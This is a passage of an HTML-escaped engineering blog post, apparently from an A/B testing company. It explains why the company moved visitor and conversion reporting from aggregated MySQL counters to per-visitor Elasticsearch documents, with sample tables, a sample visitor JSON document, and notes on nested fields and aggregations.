3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;In the prehistoric times&lt;/h2&gt; &lt;p&gt;We used to store only counters in our database (we use MySQL) i.e. for goal per variation, we used to store number of visitors and conversions. Here is some sample data:&lt;/p&gt; &lt;pre&gt; +------------+---------------+-----------+---------+-----------------+------+-------------+ | account_id | experiment_id | variation | goal_id | event_date | hits | conversions | +------------+---------------+-----------+---------+-----------------+------+-------------+ | 1 | 198 | 2 | 1 | 2011-02-19 | 15 | 12 | | 1 | 198 | 1 | 1 | 2011-02-19 | 10 | 2 | | 1 | 198 | 2 | 1 | 2011-02-20 | 6 | 2 | | 1 | 198 | 1 | 1 | 2011-02-20 | 13 | 8 | | 1 | 198 | 1 | 2 | 2011-02-21 | 7 | 0 | | 1 | 198 | 1 | 1 | 2011-02-21 | 7 | 7 | | 1 | 198 | 2 | 2 | 2011-02-21 | 8 | 0 | | 1 | 198 | 2 | 1 | 2011-02-21 | 8 | 8 | | 1 | 198 | 2 | 2 | 2011-02-22 | 6 | 0 | | 1 | 198 | 1 | 1 | 2011-02-22 | 8 | 8 | +------------+---------------+-----------+---------+-----------------+------+-------------+ &lt;/pre&gt; &lt;p&gt;We also support revenue tracking for a goal. There is a different table for revenue tracking, which looks something like this:&lt;/p&gt; &lt;pre&gt; +------------+---------------+-----------+---------+-----------------+---------+ | account_id | experiment_id | variation | goal_id | event_date | revenue | +------------+---------------+-----------+---------+-----------------+---------+ | 1 | 198 | 2 | 1 | 2011-02-19 | 32.43 | | 1 | 198 | 1 | 1 | 2011-02-19 | 34.35 | | 1 | 198 | 1 | 1 | 2011-02-19 | 6.13 | | 1 | 198 | 2 | 1 | 2011-02-19 | 21.93 | | 1 | 198 | 2 | 1 | 2011-02-20 | 83.36 | | 1 | 198 | 2 | 1 | 2011-02-20 | 72.65 | | 1 | 198 | 1 | 1 | 2011-02-20 | 56.14 | | 1 | 198 | 1 | 1 | 2011-02-20 | 87.12 | | 1 | 198 | 1 | 1 | 2011-02-21 | 78.25 | | 1 | 198 | 1 | 1 | 2011-02-21 | 88.36 | +------------+---------------+-----------+---------+-----------------+---------+ &lt;/pre&gt; &lt;p&gt;So when our customers want to view the report, our application&apos;s backend will run some queries to generate aggregated metrics like total visitors per goal per variation, total conversions per goal per variation, etc. which could be taken care of using MySQL&apos;s built-in functions and then do some statistics at the application level to decide winning variations per goal.&lt;/p&gt; &lt;p&gt;Notice that in our first table where we store hits (visitors) and conversions, we store total counters of these two metrics per goal per variation per day. In the revenue table, we store every individual revenue per goal per variation with the exact date they occurred on. We need these separately as we need to calculate sum of squares of every revenue generated which is used in the statistics. I am not going to delve in the statistics side of things because that is out of scope of this article.&lt;/p&gt; &lt;p&gt;This worked pretty well for us for a while. It was all very simple and we had to deal with aggregated data most of the times other than the case of revenue where in we had to get every row of revenue for a particular campaign. At the application level, it was essentially firing up a few MySQL queries that would give us the aggregated and day-wise data and then use that data to statistically find winning variations per goal.&lt;/p&gt; &lt;p&gt;But this setup had a major drawback. Our customers were restricted to the view of reports we would expose them to. It was not possible to drill down and understand how different segments of users are behaving as the complete picture may not say it all about some different segments. For example, in an A/B test campaign with three variations, variation 2 might be winning for all the goals but for all the users coming from India, variation 3 might be winning for all or some of the goals. Finding this out was only possible by running another campaign targeted to users from India on the basis of a hunch to understand if the results would differ. And many times the results would not differ and our customers will lose visitors from their visitor quota.&lt;/p&gt; &lt;p&gt;Furthermore, our data storage had a few other problems like no fine grain control over date and time range (it was all day-wise), we would store all the counters according to our customers&apos; timezone (set at the time of account creation) which means that changing timezone later would be possible but the data collected earlier would be shown according to the previously selected timezone. These were some major drawbacks to our way of storing visitor and conversion data.&lt;/p&gt; &lt;h2 id=&quot;new-age-reporting&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#new-age-reporting&quot; aria-label=&quot;new age reporting permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;New Age Reporting&lt;/h2&gt; &lt;p&gt;We knew that our existing MySQL based setup was not perfect but more importantly we realized that it does not help our customers. We wanted to make things simpler for our customers so that:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;they could easily find important segments of users that behave differently and run targeted campaigns for them if necessary.&lt;/li&gt; &lt;li&gt;they have finer control over date and time so that they can see reports at different steps like months, days, hours, minutes, etc.&lt;/li&gt; &lt;li&gt;store everything in UTC so that we can take care of timezone changes at application level.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Looking at our application requirements, we realized that we cannot work with just aggregated data any more. We needed to start storing individual visitor&apos;s data and their corresponding conversions to achieve flexibility and giving the power of slicing and dicing of the data in our customers&apos; hands.&lt;/p&gt; &lt;p&gt;We are also a pretty small team, which means that we wanted lesser headaches about ops and maintaining the entire system in production. We wanted things to be simple and as self-managed as possible.&lt;/p&gt; &lt;p&gt;Our specific requirements were:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Allow storage of individual visitor data with a lot of properties for performing segmentation.&lt;/li&gt; &lt;li&gt;Allow filtering on all the stored fields for performing segmentation.&lt;/li&gt; &lt;li&gt;Allow full text search on a few fields.&lt;/li&gt; &lt;li&gt;Capable of storing events for lifetime of a customer account. This means that we cannot delete visitor data as long as our customer is with us.&lt;/li&gt; &lt;li&gt;Getting consumable data out should be fast, or lets say not terribly slow. We are okay with an average of 2-3 seconds to start with.&lt;/li&gt; &lt;li&gt; &lt;p&gt;Easy ops:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Fault tolerant system. Failing nodes should not bring the service down.&lt;/li&gt; &lt;li&gt;Scalable to handle our growing traffic, storage and other requirements.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;p&gt;We knew that Hadoop is the de-facto system in the Big Data universe but the entire Hadoop system is so vast that getting started with it is not as easy. There tons of different tools in the Hadoop ecosystem and just selecting the right tools for your use-case may take a significant amount of time for research, leaving the implementation time aside. Also, running a Hadoop cluster is no piece of cake. There are so many moving parts that you are not completely aware of as soon as you start. And performing upgrades of systems that have more systems running with it will always be problematic. Further, tuning all these systems to give an acceptable performance also seemed like a daunting task for a team as small as our&apos;s with no prior experience with such systems.&lt;/p&gt; &lt;p&gt;On top of the above problems that we got to know about Hadoop from our friends working with it and from different blogs/websites, the task of implementing the infrastructure requirements for Hadoop, building an implementation, managing in production and then repeating the cycle for a team of 2 engineers seemed like a daunting task.&lt;/p&gt; &lt;p&gt;We knew that life would be much easy if we keep things simple and we started looking at other options.&lt;/p&gt; &lt;h2 id=&quot;elasticsearch-to-the-rescue&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#elasticsearch-to-the-rescue&quot; aria-label=&quot;elasticsearch to the rescue permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Elasticsearch to the rescue&lt;/h2&gt; &lt;p&gt;Having worked with Elasticsearch before for a smaller project and remembering that I had watched &lt;a href=&quot;https://vimeo.com/44716955&quot;&gt;Shay&apos;s talk&lt;/a&gt; from Berlin Buzzwords where he mentioned that Elasticsearch was also being used for analytics, we started looking at Elasticsearch to solve our problems.&lt;/p&gt; &lt;p&gt;Elasticsearch supports filtering which we could use to filter visitors and their conversions on the basis of a lot of properties that we wanted to collect for every visitor. Filtering would be fast in Elasticsearch because you can have indexes on every field if you want and since Elasticsearch uses Lucene under-the-hood, we were confident about its indexing capabilities. Elasticsearch supports full text search out-of-the-box. This fits well with our basic application requirements. On top of this, Elasticsearch supported Faceting (when we were evaluating, aggregations frameworks was not there) which we could exploit for analytics. That means we don&apos;t even have to get all the data out of Elasticsearch to our application layer. Elasticsearch is capable of giving us an aggregated view of the data we were storing.&lt;/p&gt; &lt;p&gt;This was just amazing for us. We were able to build a PoC within two weeks. The next couple of months were spent on understanding Elasticsearch better, optimizing our implementation, testing Elasticsearch against production load and tuning it for the same.&lt;/p&gt; &lt;p&gt;In the meantime, Elasticsearch released 1.0.0 with aggregation framework and we quickly moved from using &lt;a href=&quot;http://www.elastic.co/guide/en/elasticsearch/reference/current/search-facets.html&quot;&gt;Facets&lt;/a&gt; (see &lt;a href=&quot;https://en.wikipedia.org/wiki/Faceted_search&quot;&gt;Faceted Search&lt;/a&gt;) to Aggregations. &lt;a href=&quot;http://www.elastic.co/guide/en/elasticsearch/reference/current/search-aggregations.html&quot;&gt;Aggregations&lt;/a&gt; proved to be very useful with revenue goals as we could just ask Elasticsearch to give us sum of squares of individual revenues without getting individual revenues out of Elasticsearch.&lt;/p&gt; &lt;p&gt;As pointed out earlier, we need to track individual users. How we do this is we create a document for a unique visitor per account per campaign in Elasticsearch. This document stores user meta data, data for segmentation and goal conversion tracking data. A typical visitor document looks like this:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;_index&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;february-2015&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;_type&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;123&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;_id&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;D2E0A04858025DFE23928BC1F70D2156_123_313&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;_score&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;_source&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;query_params&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;val&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;val1&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;param&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;param1&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;val&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;val2&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;param&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;param2&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;browser_string&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Chrome 40.0.2214&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;ip&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;8.8.8.0&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;screen_colors&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;24&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;browser_version&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;40.0.2214&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;session&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;device_type&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Desktop&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;document_encoding&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;UTF-8&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;variation_goals_facet_term&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;c1_g1&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;ts&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1424348107&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;hour_of_day&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;os_version&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;experiment&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;313&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;user_time&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;2015-02-19T12:15:07.271000&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;direct_traffic&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;variation&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;1&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;ua&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;search_traffic&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;social_referrer&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;youtube&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;returning_visitor&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;hit_time&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;2015-02-19T12:15:07&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;user_language&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;en-us&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;device&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Other&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;active_goals&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;account&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;196&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;url&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;https://vwo.com/lp/ab-testing-tool/?gclid=CPiZ7JT-7cMCFfDKtAodPUwAhQ&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;country&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;United Kingdom&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;day_of_week&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Thursday&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;converted_goals&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;social_traffic&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;converted_goals_info&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;facet_term&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;1_1&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;conversion_time&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;2015-02-19T12:15:54&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;referrer&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;https://www.youtube.com/watch?v=EM-5IxL4HwQ&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;browser&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Chrome&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;os&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Windows 7&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;email_traffic&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;_id&lt;/code&gt; is the UUID of the visitor. Most of the other fields have information extracted out from the IP address, the User Agent, the URL and the Referring URL.&lt;/p&gt; &lt;p&gt;All the fields except a few are some fields with their types correctly set. Indexes are maintained on all of them so that visitor documents can be filtered according to the values in these fields.&lt;/p&gt; &lt;p&gt;But there are a few fields that are interesting:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;query_params&lt;/li&gt; &lt;li&gt;converted&lt;em&gt;goals&lt;/em&gt;info&lt;/li&gt; &lt;li&gt;converted&lt;em&gt;goals&lt;/em&gt;info.facet_term&lt;/li&gt; &lt;li&gt;variation&lt;em&gt;goals&lt;/em&gt;facet_term&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Let&apos;s look at each of them one-by-one.&lt;/p&gt; &lt;ul&gt; &lt;li&gt;&lt;strong&gt;query_params&lt;/strong&gt; is an array of objects for storing query parameters and their respective values. This is of type &lt;code class=&quot;language-text&quot;&gt;nested&lt;/code&gt; because our customers may want to find all visitors and their conversions who visited pages with certain query parameters. Consider a scenario where you want to find all visitor documents with query parameter &lt;code class=&quot;language-text&quot;&gt;param1&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;val2&lt;/code&gt;. A simple &lt;code class=&quot;language-text&quot;&gt;bool must&lt;/code&gt; query with term query would return the above document if &lt;code class=&quot;language-text&quot;&gt;query_params&lt;/code&gt; was not nested because it would find one of the two &lt;code class=&quot;language-text&quot;&gt;query_params.param&lt;/code&gt; values to be equal to &lt;code class=&quot;language-text&quot;&gt;param1&lt;/code&gt; and the one of the two &lt;code class=&quot;language-text&quot;&gt;query_params.val&lt;/code&gt; values to be equal to &lt;code class=&quot;language-text&quot;&gt;val2&lt;/code&gt; but we know that &lt;code class=&quot;language-text&quot;&gt;param1&lt;/code&gt; never had &lt;code class=&quot;language-text&quot;&gt;val2&lt;/code&gt; as its value. This happens because each object in &lt;code class=&quot;language-text&quot;&gt;query_params&lt;/code&gt; array is not considered as an individual component of the document. &lt;code class=&quot;language-text&quot;&gt;nested&lt;/code&gt; types solve this problem. Read more about &lt;code class=&quot;language-text&quot;&gt;nested&lt;/code&gt; documents and relations in Elasticsearch in this &lt;a href=&quot;https://www.elastic.co/blog/managing-relations-inside-elasticsearch/&quot;&gt;blog post&lt;/a&gt;.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;converted&lt;em&gt;goals&lt;/em&gt;info&lt;/strong&gt; is also an array of objects for storing information of individual goal conversions. Here we store &lt;code class=&quot;language-text&quot;&gt;goal_id&lt;/code&gt; of the converted goal, the time of conversion as a DateTime field and another field that we will shortly discuss. This field is also of &lt;code class=&quot;language-text&quot;&gt;nested&lt;/code&gt; type for the same reason as with &lt;code class=&quot;language-text&quot;&gt;query_params&lt;/code&gt;.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;converted&lt;em&gt;goals&lt;/em&gt;info.facet_term&lt;/strong&gt; and &lt;strong&gt;variation&lt;em&gt;goals&lt;/em&gt;facet_term&lt;/strong&gt; need to be discussed together because their values are constructed in a similar way. They in particular don&apos;t hold any new information. In the beginning of the post, we saw how we used to store aggregated visitor and conversion count per goal per variation per day. We still need that data out of Elasticsearch in a similar way for our statistics. The day-wise problem gets solved by using day-wise buckets in aggregations framework. The next problem is getting visitor counts per variation per goal. In MySQL terms, we would want to run a GROUP BY query on &lt;code class=&quot;language-text&quot;&gt;variation&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;goal_id&lt;/code&gt; column. In 